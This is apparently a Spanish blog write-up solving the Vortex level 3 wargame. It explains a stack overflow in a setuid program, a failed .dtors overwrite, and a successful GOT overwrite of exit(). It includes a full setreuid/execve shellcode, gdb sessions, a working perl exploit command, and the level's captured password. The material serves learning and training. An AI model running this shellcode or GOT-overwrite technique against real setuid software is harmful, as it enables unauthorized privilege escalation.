Empezamos como siempre, con el enunciado:
- A Stack Overflow with a Difference
- This level is pretty straight forward. Just sit down and understand
what the code is doing. Your shellcode will require a setuid(LEVEL4_UID)
since bash drops effective privileges. You could alternatively write a
quick setuid(geteuid()) wrapper around bash.
NOTE: ctors/dtors might no longer be writable, although this level is compiled with -Wl,-z,norelro. Lookup some information about this e.g. here NOTE: This level is solvable, but it is tricky. If all else
fails, use an intelligent bruteforce and then circle back to find out
why it worked.
- Reading Material
- Smashing the Stack for Fun and Profit
- Bypassing StackGuard and StackShield
- Code listing (vortex3.c)
/* * 0xbadc0ded.org Challenge #02 (2003-07-08) * * Joel Eriksson <je@0xbadc0ded.org> */ #include <string.h> #include <stdlib.h> #include <stdio.h> unsigned long val = 31337; unsigned long *lp = &val; int main(int argc, char **argv) { unsigned long **lpp = &lp, *tmp; char buf[128]; if (argc != 2) exit(1); strcpy(buf, argv[1]); if (((unsigned long) lpp & 0xffff0000) != 0x08040000) exit(2); tmp = *lpp; **lpp = (unsigned long) &buf; *lpp = tmp; exit(0); }
Bueno, como explica el enunciado la shellcode deberá llamar a setreuid() para ejecutarse con permisos de level4 ya que bash dropea los permisos que le otorga el SUID. Esto no es del todo cierto, por defecto efectivamente bash dropea esos permisos, pero se puede evitar ese comportamiento pasándole el argumento "-p" (o recompilando bash y buscando una variable global que no recuerdo el nombre ahora mismo, pero que egrepeando por "privilege" se encuentra fácil, se cambia de 0 a 1 y ese bash no dropeará privilegios xD). El argumento "-p" hace más cosas, man bash ;).
En cualquier caso vamos a hacer caso al enunciado y vamos a hacer llamada a setresuid() en nuestra shellcode, ahí va:
use32
jmp trick
shellcode:
pop esi
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
; setreuid()
;
; 0x138c = 5004 es el UID del usuario vortex4
mov cx, 0x138c
mov bx, 0x138c
mov al, 0x46
int 0x80
; execve("/bin/bash")
xor eax, eax
mov [esi + 9], al
mov [esi + 10], esi
mov [esi + 14], eax
mov ebx, esi
mov ecx, esi
add cl, 10
xor esi, esi
mov al, 0xb
int 0x80
trick:
call shellcode
db "/bin/bashABBBBCCCC"
No tiene mucho misterio, creo que uso todos los truquillos que expliqué en la entrada de programación de shellcodes. Truco del jmp-call-pop, no produce bytes nulos, no llama a bibliotecas, en la string final los bytes nulos no están hardcodeados sino que el código se encarga de ponerlos (en 'A'). Lo único medianamente novedoso es la llamada a setreuid() pero es muy sencilla. Realmente no se llama a setreuid() para ser concretos, sino a sys_setreuid, la llamada al sistema que en el fondo implementa todo esto. El número es el 70 = 0x46. Se compila con nasm.
Bueno, con eso ya tenemos preparada la shellcode para cuando vayamos a explotar el programa. Ahora pasemos a lo gordo, el análisis.
Mirando el fuente vemos que tiene un buffer estático de 128 bytes y un strcpy() sobre el mismo, así que ahí tenemos el bof. Analizando el código ensamblador podemos confirmar que justo detrás de buf se encuentran las variables tmp y lpp, en ese orden. Cuando sobrescribamos primero pisaremos tmp y después lpp. Luego podemos ver que se comprueba que lpp tenga en sus dos bytes más significativos el valor 0x0804 (típico de las direcciones de secciones .text, .rodata, .data, etc...) y si no es el caso termina la ejecución. Justo después viene la parte interesante, un tejemaneje con punteros que tendremos que entender qué hace.
Básicamente tmp está actuando como variable auxiliar del contenido de *lpp, su valor se guarda en tmp y luego se recupera. El código más interesante es la línea del medio:
**lpp = (unsigned int)&buf
Se pone la dirección de buf (donde, si aún no lo has pensado, pondremos nuestra shellcode) en la doble indirección de lpp, una imagen vale más que mil palabras.
Un poco lío con las flechas pero creo que ayuda a clarificar.
La idea entonces es aprovechar el bof para sobreescribir lpp (tmp da igual... realmente no, ya veremos más adelante por qué) de forma que apunte a un sitio que a su vez apunte a otro sitio que sepamos que en algún momento ese valor será usado para saltar a código allí apuntado. Lo siento por el lío :(.
Yendo al grano, esto está pensado en un primer momento para aprovecharse de la sección .dtors. Explico a mi manera qué es esto. Dtors es un acrónimo de DestrucTORS, en los ELF suele haber una sección reservada para dar soporte a lenguajes con constructores y destructores globales (también hay una sección .ctors). Básicamente es una lista con punteros a funciones que serán ejecutadas justo antes de terminar el programa, bien sea porque main() hace return o porque en algún punto de la ejecución se llama a exit() o funciones de esa familia. Veamosla en el binario vortex3.
$ readelf --sections vortex3
There are 29 section headers, starting at offset 0x784:
Section Headers:
... SNIP ...
[13] .text PROGBITS 08048320 000320 0001ec 00 AX 0 0 16
[14] .fini PROGBITS 0804850c 00050c 00001c 00 AX 0 0 4
[15] .rodata PROGBITS 08048528 000528 000008 00 A 0 0 4
[16] .eh_frame PROGBITS 08048530 000530 000004 00 A 0 0 4
[17] .ctors PROGBITS 08049534 000534 000008 00 WA 0 0 4
[18] .dtors PROGBITS 0804953c 00053c 000008 00 WA 0 0 4
[19] .jcr PROGBITS 08049544 000544 000004 00 WA 0 0 4
[20] .dynamic DYNAMIC 08049548 000548 0000c8 08 WA 6 0 4
[21] .got PROGBITS 08049610 000610 000004 04 WA 0 0 4
[22] .got.plt PROGBITS 08049614 000614 00001c 04 WA 0 0 4
... SNIP ...
El formato de esta lista es el siguiente, comienza con el valor 0xffffffff y acaba con nulo (0x00000000), veámosla.
$ objdump -j .dtors -s vortex3
vortex3: file format elf32-i386
Contents of section .dtors:
804953c ffffffff 00000000 ........
En este caso está vacía. Observemos un detalle interesante de esta sección, ¡tiene permisos de escritura (WA)!. Sí sí, suena fuerte y tal pero es así. En el enunciado se nos avisa de que puede que ya no se pueda escribir en esta zona, a pesar de que se ha compilado el binario con bla bla bla. Lo cierto es que sí se puede, no sé por qué han puesto eso, sin embargo sí que hay una protección pero que no viene dada por los permisos. En un momento veremos qué pasa. Por el momento hagamos como que no sabemos nada, así explico las vicisitudes por las que pasé.
Entonces lo que vamos a intentar es escribir en la sección .dtors la dirección de nuestro buffer (que contendrá la shellcode), de forma que cuando el programa termine, la ejecute. Para ello necesitamos escribir en la dirección 0x08049540 (la primera posición en la lista de dtors) la dirección de buf. Y para lograr esto nos hace falta que lpp contenga una dirección cuyo contenido sea precisamente ese valor (doble indirección), además esa dirección no puede ser cualquiera debe estar en 0x0804XXXX. Figura "aclaratoria":
Sobrescribir lpp es sencillo, simplemente tenemos que aprovechar el bof. Ahora bien, ¿cómo podemos hacer que apunte a algo que contenga el valor 0x08049540?, ¿dónde podríamos poner ese valor y luego hacer que lpp apuntara a allí?. Es más sencillo de lo que parece, buscamos el valor por la memoria del proceso y vemos si está por algún lado (no nos importa por qué llegó allí, tan sólo que esté :D).
$ readelf --sections vortex3
There are 29 section headers, starting at offset 0x784:
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 08048114 000114 000013 00 A 0 0 1
[ 2] .note.ABI-tag NOTE 08048128 000128 000020 00 A 0 0 4
[ 3] .note.gnu.build-i NOTE 08048148 000148 000024 00 A 0 0 4
[ 4] .gnu.hash GNU_HASH 0804816c 00016c 000020 04 A 5 0 4
[ 5] .dynsym DYNSYM 0804818c 00018c 000060 10 A 6 1 4
[ 6] .dynstr STRTAB 080481ec 0001ec 000051 00 A 0 0 1
[ 7] .gnu.version VERSYM 0804823e 00023e 00000c 02 A 5 0 2
[ 8] .gnu.version_r VERNEED 0804824c 00024c 000020 00 A 6 1 4
[ 9] .rel.dyn REL 0804826c 00026c 000008 08 A 5 0 4
[10] .rel.plt REL 08048274 000274 000020 08 A 5 12 4
[11] .init PROGBITS 08048294 000294 000030 00 AX 0 0 4
[12] .plt PROGBITS 080482c4 0002c4 000050 04 AX 0 0 4
[13] .text PROGBITS 08048320 000320 0001ec 00 AX 0 0 16
[14] .fini PROGBITS 0804850c 00050c 00001c 00 AX 0 0 4
[15] .rodata PROGBITS 08048528 000528 000008 00 A 0 0 4
[16] .eh_frame PROGBITS 08048530 000530 000004 00 A 0 0 4
[17] .ctors PROGBITS 08049534 000534 000008 00 WA 0 0 4
[18] .dtors PROGBITS 0804953c 00053c 000008 00 WA 0 0 4
[19] .jcr PROGBITS 08049544 000544 000004 00 WA 0 0 4
[20] .dynamic DYNAMIC 08049548 000548 0000c8 08 WA 6 0 4
[21] .got PROGBITS 08049610 000610 000004 04 WA 0 0 4
[22] .got.plt PROGBITS 08049614 000614 00001c 04 WA 0 0 4
[23] .data PROGBITS 08049630 000630 000010 00 WA 0 0 4
[24] .bss NOBITS 08049640 000640 000008 00 WA 0 0 4
[25] .comment PROGBITS 00000000 000640 000054 01 MS 0 0 1
[26] .shstrtab STRTAB 00000000 000694 0000ee 00 0 0 1
[27] .symtab SYMTAB 00000000 000c0c 000430 10 28 44 4
[28] .strtab STRTAB 00000000 00103c 000216 00 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings)
I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
O (extra OS processing required) o (OS specific), p (processor specific)
$ gdb -q vortex3
Reading symbols from /vortex/vortex3...(no debugging symbols found)...done.
(gdb) br main
Breakpoint 1 at 0x80483d7
(gdb) r
Starting program: /vortex/vortex3
Breakpoint 1, 0x080483d7 in main ()
(gdb) find 0x08048114, 0x08049640, (int)0x08049540
0x8048366 <__do_global_dtors_aux+22>
0x8048fb0
0x8049366
3 patterns found.
He marcado en negrita lo más interesante, las direcciones de dos secciones, la primera y la última que están en posiciones 0x0804XXXX y el comando find de gdb con el que busco entre esas direcciones de memoria alguna posición que contenga el valor que buscamos. Aparece en 3 sitios distintos, así que cualquiera de esas direcciones es a donde debería a puntar lpp. Estoy obviando un detalle, he ejecutado el programa y lo he parado al principio de main() para buscar el valor por su memoria. En este caso nos va a funcionar, pero si por lo que fuera este proceso está muy loco y empieza a cambiar su memoria de manera que lo que ahora contienen esas direcciones luego no fuera lo mismo habría que hacer un análisis más profundo del proceso para buscar un sitio donde nuestro valor esté en el momento en que vayamos a usarlo. Aquí estamos suponiendo que la dirección que vaya a usar para lpp (de las 3 posibles) va a tener siempre el valor que necesitamos (0x08049540)... y suponer no siempre es bueno... más bien nunca es bueno.
Bien, si en .dtors no se pudiera escribir, cuando lo vayamos a intentar lo suyo sería que se lanzara SIGSEGV. Vamos a explotar el bof y escribir a ver que pasa...
$ du -b /tmp/oleshellcode
70 /tmp/oleshellcode
$ gdb -q vortex3
Reading symbols from /vortex/vortex3...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
0x080483d4 <+0>: push %ebp
0x080483d5 <+1>: mov %esp,%ebp
0x080483d7 <+3>: and $0xfffffff0,%esp
0x080483da <+6>: sub $0xa0,%esp
0x080483e0 <+12>: movl $0x804963c,0x9c(%esp)
0x080483eb <+23>: cmpl $0x2,0x8(%ebp)
0x080483ef <+27>: je 0x80483fd <main+41>
0x080483f1 <+29>: movl $0x1,(%esp)
0x080483f8 <+36>: call 0x8048304 <exit@plt>
0x080483fd <+41>: mov 0xc(%ebp),%eax
0x08048400 <+44>: add $0x4,%eax
0x08048403 <+47>: mov (%eax),%eax
0x08048405 <+49>: mov %eax,0x4(%esp)
0x08048409 <+53>: lea 0x18(%esp),%eax
0x0804840d <+57>: mov %eax,(%esp)
0x08048410 <+60>: call 0x80482f4 <strcpy@plt>
0x08048415 <+65>: mov 0x9c(%esp),%eax
0x0804841c <+72>: mov $0x0,%ax
0x08048420 <+76>: cmp $0x8040000,%eax
0x08048425 <+81>: je 0x8048433 <main+95>
0x08048427 <+83>: movl $0x2,(%esp)
0x0804842e <+90>: call 0x8048304 <exit@plt>
0x08048433 <+95>: mov 0x9c(%esp),%eax
0x0804843a <+102>: mov (%eax),%eax
0x0804843c <+104>: mov %eax,0x98(%esp)
0x08048443 <+111>: mov 0x9c(%esp),%eax
0x0804844a <+118>: mov (%eax),%eax
0x0804844c <+120>: lea 0x18(%esp),%edx
0x08048450 <+124>: mov %edx,(%eax)
0x08048452 <+126>: mov 0x9c(%esp),%eax
0x08048459 <+133>: mov 0x98(%esp),%edx
0x08048460 <+140>: mov %edx,(%eax)
0x08048462 <+142>: movl $0x0,(%esp)
0x08048469 <+149>: call 0x8048304 <exit@plt>
End of assembler dump.
(gdb) br *main+60
Breakpoint 1 at 0x8048410
(gdb) br *main+149
Breakpoint 2 at 0x8048469
(gdb) r "`perl -e 'print "\x90"x(128-70) . \`cat /tmp/oleshellcode\` . "CACA" . "\x66\x83\x04\x08"'`"
Starting program: /vortex/vortex3 "`perl -e 'print "\x90"x(128-70) . \`cat /tmp/oleshellcode\` . "CACA" . "\x66\x83\x04\x08"'`"
Breakpoint 1, 0x08048410 in main ()
(gdb) x/50xw $esp
0xffffd620: 0xffffd638 0xffffd8ab 0xffffd6f0 0xf7fe99a9
0xffffd630: 0xffffd6e0 0x080481ac 0xffffd6d4 0xf7ffda74
0xffffd640: 0x00000000 0xf7fd72e8 0x00000001 0x00000000
0xffffd650: 0x00000001 0xf7ffd918 0x00000000 0x00000000
0xffffd660: 0x00080000 0x000a0000 0x00010000 0xf7fd2ff4
0xffffd670: 0xf7f80b19 0xf7ea2ab5 0xffffd688 0xf7e89c65
0xffffd680: 0x00000000 0x08049614 0xffffd698 0x080482c0
0xffffd690: 0xf7fd2ff4 0x08049614 0xffffd6c8 0x08048489
0xffffd6a0: 0xf7ea2c3d 0xf7fd3324 0xf7fd2ff4 0xffffd6c8
0xffffd6b0: 0xf7ea2cb5 0xf7feed80 0x0804847b 0x0804963c
0xffffd6c0: 0x08048470 0x00000000 0xffffd748 0xf7e89e37
0xffffd6d0: 0x00000002 0xffffd774 0xffffd780 0xf7fdf420
0xffffd6e0: 0xffffffff 0xf7ffcff4
(gdb) nexti
0x08048415 in main ()
(gdb) x/50xw $esp
0xffffd620: 0xffffd638 0xffffd8ab 0xffffd6f0 0xf7fe99a9
0xffffd630: 0xffffd6e0 0x080481ac 0x90909090 0x90909090
0xffffd640: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd650: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd660: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd670: 0x2deb9090 0x31c0315e 0x31c931db 0x8cb966d2
0xffffd680: 0x8cbb6613 0xcd46b013 0x88c03180 0x76890946
0xffffd690: 0x0e46890a 0xf189f389 0x310ac180 0xcd0bb0f6
0xffffd6a0: 0xffcee880 0x622fffff 0x622f6e69 0x41687361
0xffffd6b0: 0x42424242 0x43434343 0x41434143 0x08048366
0xffffd6c0: 0x08048400 0x00000000 0xffffd748 0xf7e89e37
0xffffd6d0: 0x00000002 0xffffd774 0xffffd780 0xf7fdf420
0xffffd6e0: 0xffffffff 0xf7ffcff4
(gdb) x/xw 0x08048366
0x8048366 <__do_global_dtors_aux+22>: 0x08049540
(gdb) x/xw 0x08049540
0x8049540 <__DTOR_END__>: 0x00000000
Todo lo rojo es el buffer en sí mismo, en verte tmp y en azul lpp. Hemos inspeccionado la pila justo antes y después del strcpy(), vemos que efectivamente hemos sobrescrito lpp con el valor que queríamos, una dirección de memoria 0x0804XXXX cuyo contenido contiene otra dirección, ésta a su vez apunta a 0x08049540 (la primera función en la lista .dtors).
Ahora si todo funciona como pensamos, después de la ejecución del código que juega con *lpp, tmp, **lpp y &buf, en 0x08049540 debería pasar de contener 0x00000000 a contener la dirección del buffer (0xffffd638).
(gdb) cont
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x08048460 in main ()
Hemos obtenido SIGSEGV, ¿por qué?. Veámoslo.
(gdb) x/i $eip
=> 0x8048460 <main+140>: mov %edx,(%eax)
(gdb) info register
eax 0x8048366 134513510
ecx 0x0 0
edx 0x8049540 134518080
ebx 0xf7fd2ff4 -134402060
esp 0xffffd620 0xffffd620
ebp 0xffffd6c8 0xffffd6c8
esi 0x0 0
edi 0x0 0
eip 0x8048460 0x8048460 <main+140>
eflags 0x10246 [ PF ZF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
Aquí vemos lo que está pasando, se ha intentado escribir en 0x0848366 y no se puede, probablemente porque esa sección sea de sólo lectura. Volvamos a mirar las secciones:
(gdb) maintenance info sections
Exec file:
`/vortex/vortex3', file type elf32-i386.
... SNIP ...
0x8048320->0x804850c at 0x00000320: .text ALLOC LOAD READONLY CODE HAS_CONTENTS
... SNIP ...
Bueno, ahí tenemos el motivo, la dirección donde intentamos escribir está en la sección .text que es de sólo lectura. Así que de las 3 direcciones que obtuvimos que contenian el valor 0x08049540 no nos vale cualquiera, necesitamos uno donde podamos escribir. Nos quedan entonces 2 posibilidades más (0x08048fb0 y 0x08049366), veamos dónde están:
(gdb) maintenance info sections
Exec file:
`/vortex/vortex3', file type elf32-i386.
0x8048114->0x8048127 at 0x00000114: .interp ALLOC LOAD READONLY DATA HAS_CONTENTS
0x8048128->0x8048148 at 0x00000128: .note.ABI-tag ALLOC LOAD READONLY DATA HAS_CONTENTS
0x8048148->0x804816c at 0x00000148: .note.gnu.build-id ALLOC LOAD READONLY DATA HAS_CONTENTS
0x804816c->0x804818c at 0x0000016c: .gnu.hash ALLOC LOAD READONLY DATA HAS_CONTENTS
0x804818c->0x80481ec at 0x0000018c: .dynsym ALLOC LOAD READONLY DATA HAS_CONTENTS
0x80481ec->0x804823d at 0x000001ec: .dynstr ALLOC LOAD READONLY DATA HAS_CONTENTS
0x804823e->0x804824a at 0x0000023e: .gnu.version ALLOC LOAD READONLY DATA HAS_CONTENTS
0x804824c->0x804826c at 0x0000024c: .gnu.version_r ALLOC LOAD READONLY DATA HAS_CONTENTS
0x804826c->0x8048274 at 0x0000026c: .rel.dyn ALLOC LOAD READONLY DATA HAS_CONTENTS
0x8048274->0x8048294 at 0x00000274: .rel.plt ALLOC LOAD READONLY DATA HAS_CONTENTS
0x8048294->0x80482c4 at 0x00000294: .init ALLOC LOAD READONLY CODE HAS_CONTENTS
0x80482c4->0x8048314 at 0x000002c4: .plt ALLOC LOAD READONLY CODE HAS_CONTENTS
0x8048320->0x804850c at 0x00000320: .text ALLOC LOAD READONLY CODE HAS_CONTENTS
0x804850c->0x8048528 at 0x0000050c: .fini ALLOC LOAD READONLY CODE HAS_CONTENTS
0x8048528->0x8048530 at 0x00000528: .rodata ALLOC LOAD READONLY DATA HAS_CONTENTS
0x8048530->0x8048534 at 0x00000530: .eh_frame ALLOC LOAD READONLY DATA HAS_CONTENTS
0x8049534->0x804953c at 0x00000534: .ctors ALLOC LOAD DATA HAS_CONTENTS
0x804953c->0x8049544 at 0x0000053c: .dtors ALLOC LOAD DATA HAS_CONTENTS
0x8049544->0x8049548 at 0x00000544: .jcr ALLOC LOAD DATA HAS_CONTENTS
0x8049548->0x8049610 at 0x00000548: .dynamic ALLOC LOAD DATA HAS_CONTENTS
0x8049610->0x8049614 at 0x00000610: .got ALLOC LOAD DATA HAS_CONTENTS
0x8049614->0x8049630 at 0x00000614: .got.plt ALLOC LOAD DATA HAS_CONTENTS
0x8049630->0x8049640 at 0x00000630: .data ALLOC LOAD DATA HAS_CONTENTS
0x8049640->0x8049648 at 0x00000640: .bss ALLOC
0x0000->0x0054 at 0x00000640: .comment READONLY HAS_CONTENTS
Podemos ver que ambas direcciones no caen en ninguna de las secciones.
Juro por dios (¡o por cualquier otro personaje de ficción! digamos... ¡superman!) que he gastado bastantes horas intentando averiguar por qué esto es así, por qué hay direcciones de memoria accesibles que sin embargo no están en ninguna sección e intentar ver los permisos exactos de esas direcciones, pero no voy a mentir no lo he logrado y no sé la respuesta... aún. Ya probaré algún día a trapetear por el manejo de memoria del kernel a ver si encuentro algo que me aclare esto. Muchas veces veo artículos, noticias y demás documentos donde el autor, por no poder explicar algo lo que hace es rodearlo y no tocar el tema y de esta forma queda más guay y parece que controla todo hasta el último detalle, pues que les den por culo en su ignorancia. Prefiero reconocer hasta dónde llegan mis conocimientos y no llevar a error al lector, que quedar como algo que no soy (un pro) y que la gente se lo crea. En fin, después del momento "un día de furia" volvamos a lo nuestro. Por ahora vamos a tener que hacer un acto de fé (bleg!).
Visto lo visto vamos a probar a ciegas otra de las direcciones que tenemos, a ver que pasa.
$ gdb -q vortex3
Reading symbols from /vortex/vortex3...(no debugging symbols found)...done.
(gdb) br *main+149
Breakpoint 1 at 0x8048469
(gdb) r "`perl -e 'print "\x90"x(128-70) . \`cat /tmp/shellcode\` . "COCO" . "\x66\x93\x04\x08"'`"
Starting program: /vortex/vortex3 "`perl -e 'print "\x90"x(128-70) . \`cat /tmp/shellcode\` . "COCO" . "\x66\x93\x04\x08"'`"
Breakpoint 1, 0x08048469 in main ()(gdb) x/3x 0x0804953c
0x804953c <__DTOR_LIST__>: 0xffffffff 0xffffd638 0x00000000
(gdb) x/5i 0xffffd638
0xffffd638: nop
0xffffd639: nop
0xffffd63a: nop
0xffffd63b: nop
0xffffd63c: nop
Podemos ver que ahora sí hemos conseguido meter la dirección de buf dentro de la lista de dtors y que además ésta mantiene el formato (comienzo por 0xffffffff y fin con 0x00000000). Con esto queda demostrado que efectivamente sí podemos escribir en esa memoria. Ahora sólo quedaría terminar la ejecución del programa y que se ejecute nuestra shellcode.
(gdb) cont
Continuing.
Program exited normally.
?!?!?!, ¿qué está pasando aquí?, ¿por qué no se ejecuta nuestra shellcode?. Tal vez por este comportamiento se advierte en el enunciado que no se puede explotar con dtors, pero como hemos visto no es porque no se pueda escribir allí. Para comprenderlo tenemos que mirar los fuentes del gcc de la versión con que se compiló el binario. No sé si se puede averiguar que versión concreta del compilador se usó así que supondremos que se usó la versión que hay instalada en el sistema.
$ gcc --version
gcc (Ubuntu/Linaro 4.5.2-8ubuntu4) 4.5.2
Copyright (C) 2010 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Nos bajamos los fuentes de la versión de alguno de los repositorios o con apt-get source y buscamos dentro de los mismos la parte que corresponde a la ejecución de dtors. Para agilizarlo un poco comento que la función que se encarga de eso es __do_global_dtor_aux(). Sabiendo esto y grepeando un poco nos daremos cuenta que se encuentra en crtstuff.c, veámosla.
static void __attribute__((used))
__do_global_dtors_aux (void)
{
... SNIP ...
#elif defined(HIDDEN_DTOR_LIST_END)
{
/* Safer version that makes sure only .dtors function pointers are
called even if the static variable is maliciously changed. */
extern func_ptr __DTOR_END__[] __attribute__((visibility ("hidden")));
static size_t dtor_idx;
const size_t max_idx = __DTOR_END__ - __DTOR_LIST__ - 1;
func_ptr f;
while (dtor_idx < max_idx)
{
f = __DTOR_LIST__[++dtor_idx];
f ();
}
}
... SNIP ...
Los propios comentarios nos explican qué está pasando, gracias por comentar el código :). Báscamente se comprueba el tamaño de la lista, esto provoca que cómo al compilar había 0 funciones dtors pues no se ejecuta ninguna y aunque metemos nuestra shellcode ahí no se llega a entrar en el while. Por otro lado aunque no lo he comprobado sospecho que, si hubiera funciones en la lista, podríamos sobrescribirlas con la dirección de nuestra shellcode y conseguiríamos la ejecución.
Resuelta la duda de por qué añadiendo la dirección de la shellcode a dtors no se ejecuta vamos a ver cómo conseguirlo. En esta ocasión vamos a usar el mismo concepto pero en otro lado. Vamos a sobrescribir un puntero a una función de forma que cuando esa función sea llamada en verdad se llame a nuestra shellcode. ¿Y dónde está ese puntero a función? Pues en la GOT (Global Offset Table). Para hacer la carga de los programas más rápida, cuando un programa es cargado en memoria el enlazador no carga todas las bibliotecas que necesita el programa ya que pueden ser muchas y esto provoca una carga lenta y un consumo de memoria alto, más teniendo en cuenta que a lo mejor el programa en esa ejecución concreta no llame a todas las funciones, cosa altamente probable ya que en la ejecución de un programa no es normal que éste recorra todo su código. Lo que se hace es hacer que las llamadas a funciones externas llamen realmente a pequeñas funciones en la GOT y de ahí a la función real. Veamos cómo son estas pequeñas funciones en la sección .plt.
$ objdump -j .plt -d vortex3
vortex3: file format elf32-i386
Disassembly of section .plt:
080482c4 <__gmon_start__@plt-0x10>:
80482c4: ff 35 18 96 04 08 pushl 0x8049618
80482ca: ff 25 1c 96 04 08 jmp *0x804961c
80482d0: 00 00 add %al,(%eax)
...
080482d4 <__gmon_start__@plt>:
80482d4: ff 25 20 96 04 08 jmp *0x8049620
80482da: 68 00 00 00 00 push $0x0
80482df: e9 e0 ff ff ff jmp 80482c4 <_init+0x30>
080482e4 <__libc_start_main@plt>:
80482e4: ff 25 24 96 04 08 jmp *0x8049624
80482ea: 68 08 00 00 00 push $0x8
80482ef: e9 d0 ff ff ff jmp 80482c4 <_init+0x30>
080482f4 <strcpy@plt>:
80482f4: ff 25 28 96 04 08 jmp *0x8049628
80482fa: 68 10 00 00 00 push $0x10
80482ff: e9 c0 ff ff ff jmp 80482c4 <_init+0x30>
08048304 <exit@plt>:
8048304: ff 25 2c 96 04 08 jmp *0x804962c
804830a: 68 18 00 00 00 push $0x18
804830f: e9 b0 ff ff ff jmp 80482c4 <_init+0x30>
Vemos que las funciones en plt tienen al principio un salto incondicional hacia la dirección contenida en esos punteros. Por ejemplo, para llamar a la función strcpy() se salta a la dirección contenida en 0x08049628. ¿Qué es lo que vamos a hacer?, vamos a sobrescribir alguna de las funciones que se ejecuten después del código que pone la dirección de buf en la doble indirección (que se ejecute antes no vale porque cuando se llamara a dicha función aún no se habría echo el cambio de punteros). La función que tiene todas las papeletas es exit(). Lo que necesitamos es buscar alguna dirección de memoria en la que se pueda escribir y que apunte a 0x0804962c.
$ gdb -q vortex3
Reading symbols from /vortex/vortex3...(no debugging symbols found)...done.
(gdb) br main
Breakpoint 1 at 0x80483d7
(gdb) r
Starting program: /vortex/vortex3
Breakpoint 1, 0x080483d7 in main ()
(gdb) find 0x08048114, 0x08049640, (int)0x0804962c
0x804828c
0x8048306 <exit@plt+2>
0x804928c
0x8049306
4 patterns found.
De nuevo tengo el mismo problema de antes, algunas de esas dirección están misteriosamente fuera de los maps del proceso. Probaremos con la última, que se parece mucho a la que elegimos la última vez.
(gdb) r "`perl -e 'print "\x90"x(128-70) . \`cat /tmp/oleshellcode\` . "HOLA" . "\x06\x93\x04\x08"'`"
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /vortex/vortex3 "`perl -e 'print "\x90"x(128-70) . \`cat /tmp/oleshellcode\` . "HOLA" . "\x06\x93\x04\x08"'`"
Breakpoint 1, 0x080483d7 in main ()
(gdb) cont
Continuing.
process 9914 is executing new program: /proc/9914/exe
/proc/9914/exe: Permission denied.
Ahora sí está intentado ejecutar la shellcode :). Hagamos la explotación desde fuera del gdb.
$ ./vortex3 "`perl -e 'print "\x90"x(128-70) . \`cat /tmp/oleshellcode\` . "HOLA" . "\x06\x93\x04\x08"'`"
$ id
uid=5004(vortex4) gid=5003(vortex3) groups=5004(vortex4),5003(vortex3)
$ cat /etc/vortex_pass/vortex4
2YmgK1=jw
Y ya tenemos lo que queríamos :). Nos ha costado un poco más de la cuenta porque la gente de gcc nos lo ha puesto un poco más difícil, pero conseguimos sobreponernos :).
Saludos.
No hay comentarios:
Publicar un comentario